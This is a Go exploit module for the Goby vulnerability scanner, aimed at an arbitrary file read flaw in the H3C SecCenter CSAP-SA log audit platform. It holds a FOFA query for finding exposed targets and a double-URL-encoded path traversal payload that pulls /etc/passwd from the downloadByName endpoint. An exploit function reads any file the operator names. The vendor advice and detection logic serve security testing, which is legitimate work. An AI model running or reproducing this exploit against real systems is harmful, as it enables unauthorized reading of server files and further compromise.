package exploits

import (
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"regexp"
)

func init() {
	expJson := `{
    "Name": "H3C SecCenter CSAP-SA fileName Arbitrary File Read",
    "Description": "<p>H3C SecCenter CSAP-SA is a system that can collect the massive logs generated by various security devices, network devices, hosts, operating systems, and various application systems produced by different manufacturers in the network in real time and uninterruptedly through the combination of active and passive means. information system.</p><p>H3C SecCenter CSAP-SA has arbitrary file reading vulnerability, attackers can obtain sensitive information and further gain server permissions.</p>",
    "Impact": "H3C SecCenter CSAP-SA fileName Arbitrary File Read",
    "Recommendation": "<p>The vendor has released a bug fix, please pay attention to the update in time: <a href=\"https://www.h3c.com/cn\">https://www.h3c.com/cn</a></p><p>1. Set access policies and whitelist access through security devices such as firewalls.</p><p>2. If not necessary, prohibit public network access to the system.</p>",
    "Product": "H3C SecCenter CSAP-SA",
    "VulType": [
        "File Read"
    ],
    "Tags": [
        "File Read"
    ],
    "Translation": {
        "CN": {
            "Name": "新华三 综合日志审计平台 fileName 参数任意文件读取漏洞",
            "Description": "<p>新华三 综合日志审计平台是一款能够通过主被动结合的手段，实时不间断地采集网络中不同厂商生产的各种安全设备、网络设备、主机、操作系统、以 及各种应用系统产生的海量日志信息的系统。</p><p><新华三 综合日志审计平台存在任意文件读取漏洞，攻击者可获取敏感信息，进一步获取服务器权限。/p>",
            "Impact": "<p>新华三 综合日志审计平台存在任意文件读取漏洞，攻击者可获取敏感信息，进一步获取服务器权限。</p>",
            "Recommendation": "<p>⼚商已发布了漏洞修复程序，请及时关注更新：<a href=\"https://www.h3c.com/cn\">https://www.h3c.com/cn</a></p><p>1、通过防⽕墙等安全设备设置访问策略，设置⽩名单访问。</p><p>2、如⾮必要，禁⽌公⽹访问该系统。</p>",
            "Product": "新华三 综合日志审计平台",
            "VulType": [
                "文件读取"
            ],
            "Tags": [
                "文件读取"
            ]
        },
        "EN": {
            "Name": "H3C SecCenter CSAP-SA fileName Arbitrary File Read",
            "Description": "<p>H3C SecCenter CSAP-SA is a system that can collect the massive logs generated by various security devices, network devices, hosts, operating systems, and various application systems produced by different manufacturers in the network in real time and uninterruptedly through the combination of active and passive means. information system.</p><p>H3C SecCenter CSAP-SA has arbitrary file reading vulnerability, attackers can obtain sensitive information and further gain server permissions.</p>",
            "Impact": "H3C SecCenter CSAP-SA fileName Arbitrary File Read",
            "Recommendation": "<p>The vendor has released a bug fix, please pay attention to the update in time: <a href=\"https://www.h3c.com/cn\">https://www.h3c.com/cn</a></p><p>1. Set access policies and whitelist access through security devices such as firewalls.</p><p>2. If not necessary, prohibit public network access to the system.</p>",
            "Product": "H3C SecCenter CSAP-SA",
            "VulType": [
                "File Read"
            ],
            "Tags": [
                "File Read"
            ]
        }
    },
    "FofaQuery": "body=\"/javascripts/core-min.js\" && body=\"/javascripts/baseTool.js\"",
    "GobyQuery": "body=\"/javascripts/core-min.js\" && body=\"/javascripts/baseTool.js\"",
    "Author": "1291904552@qq.com",
    "Homepage": "https://www.h3c.com/cn",
    "DisclosureDate": "2022-02-04",
    "References": [
        "https://fofa.so"
    ],
    "HasExp": true,
    "Is0day": false,
    "Level": "2",
    "CVSS": "7.0",
    "CVEIDs": [],
    "CNVD": [],
    "CNNVD": [],
    "ScanSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/",
                "follow_redirect": false,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/",
                "follow_redirect": false,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExpParams": [
        {
            "name": "cmd",
            "type": "input",
            "value": "%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd",
            "show": ""
        }
    ],
    "ExpTips": {},
    "AttackSurfaces": {
        "Application": [],
        "Support": [],
        "Service": [],
        "System": [],
        "Hardware": []
    },
    "PocId": "10259"
}`

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			uri1 := "/files/downloadByName?fileName=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
			cfg1 := httpclient.NewGetRequestConfig(uri1)
			cfg1.VerifyTls = false
			cfg1.FollowRedirect = false
			if resp1, err := httpclient.DoHttpRequest(u, cfg1); err == nil {
				return resp1.StatusCode == 200 && regexp.MustCompile("root:(.*?):0:0:").MatchString(resp1.RawBody)
			}
			return false
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			cmd := ss.Params["cmd"].(string)
			uri := "/files/downloadByName?fileName=" + cmd
			cfg := httpclient.NewGetRequestConfig(uri)
			cfg.VerifyTls = false
			if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {
				if resp.StatusCode == 200 {
					expResult.Output = resp.RawBody
					expResult.Success = true
				}
			}
			return expResult
		},
	))
}
